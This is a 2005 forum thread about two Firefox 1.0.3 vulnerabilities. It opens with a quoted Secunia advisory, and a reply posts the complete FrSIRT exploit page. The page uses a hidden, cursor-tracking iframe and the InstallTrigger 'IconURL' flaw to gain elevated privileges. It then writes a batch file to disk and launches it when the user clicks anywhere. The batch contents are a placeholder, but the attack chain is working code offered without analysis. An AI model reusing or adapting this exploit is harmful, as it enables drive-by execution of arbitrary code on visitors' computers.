Two New Critical Firefox Vulnerabilities

***xierox*** · May 8th, 2005, 08:16 PM

Secunia.com reports:

Two vulnerabilities have been discovered in Firefox, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a user's system.

1) The problem is that "IFRAME" JavaScript URLs are not properly protected from being executed in context of another URL in the history list. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an arbitrary site.

2) Input passed to the "IconURL" parameter in "InstallTrigger.install()" is not properly verified before being used. This can be exploited to execute arbitrary JavaScript code with escalated privileges via a specially crafted JavaScript URL.

Successful exploitation requires that the site is allowed to install software (default sites are "update.mozilla.org" and "addons.mozilla.org").

A combination of vulnerability 1 and 2 can be exploited to execute arbitrary code.

NOTE: Exploit code is publicly available.

The vulnerabilities have been confirmed in version 1.0.3. Other versions may also be affected.

Solution:
Disable JavaScript.

- Xierox

**gentilegenital** · May 8th, 2005, 09:33 PM

Code:

------------------------------------- exploit.htm -------------------------------------
// FrSIRT Comment - This is a 0day exploit/vulnerability (unpatched)
// If a user clicks anywhere on a specially crafted page, this code will
// automatically create and execute a malicious batch/exe file.
//
// Update (08.05.2005) - The Mozilla Foundation patched (partially) this
// issue on the server side by adding random letters and numbers to the
// install function, which will prevent this exploit from working.

&lt;html&gt;&lt;head&gt;&lt;title&gt;firefox 0day exploit&lt;/title&gt;

&lt;body&gt;Click anywhere inside this page&lt;br&gt;
&lt;br&gt;Advisory - http://www.frsirt.com/english/advisories/2005/0493&lt;br&gt;
&lt;iframe onload="loader()" src="javascript:'&lt;noscript&gt;'+eval('if (window.name!=\'stealcookies\')
{window.name=\'stealcookies\';} else{ event={target:{href:\'http://ftp.mozilla.org/pub/
mozilla.org/extensions/flashgot/flashgot-0.5.9.1-fx+mz+tb.xpi\'}};install(event,\'You are 
vulnerable!!!\',\'javascript:eval(\\\'netscape.security.PrivilegeManager.enablePrivilege(\\\\\\\'
UniversalXPConnect\\\\\\\');file=Components.classes[\\\\\\\'@mozilla.org/file/local;1\\\\\\\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\\\\\\\'c:\\\\\\\\\\\\\\\\
booom.bat\\\\\\\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,420);
outputStream=Components.classes[\\\\\\\'@mozilla.org/network/file-output-stream;1\\\\\\\'].
createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init(file,0x04|0x08
|0x20,420,0);output=\\\\\\\'@ECHO off\\\\\\\\ncls\\\\\\\\nECHO malicious commands here...
\\\\\\\\nPAUSE\\\\\\\';outputStream.write(output,output.length);outputStream.close();file.launch();
\\\')\'); }')+'&lt;/noscript&gt;&lt;a href=\'https://addons.update.mozilla.org/extensions/moreinfo.php?
id=220&application=firefox\' style=\'cursor:default;\'&gt;&lt;/'+'a&gt;'" 
id="targetframe" scrolling="no" frameborder="0" marginwidth="0" marginheight=0" style=
"position:absolute; left:0px; width:0px; height:6px; width:6px; margin:0px; padding:0px; 
-moz-opacity:0"&gt;&lt;/iframe&gt;


&lt;script language="JavaScript" type="text/javascript"&gt;

document.onmousemove = function trackMouse(e) {
document.getElementById("targetframe").style.left = (e.pageX-3)+"px"
document.getElementById("targetframe").style.top = (e.pageY-3)+"px"
} 

var counter = 0; 
function loader() {
counter++
if(counter == 1) {
stealcookies.focus()
} else if(counter == 2) {
stealcookies.history.go(-1)
//targetframe.style.display="none";
}
}
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

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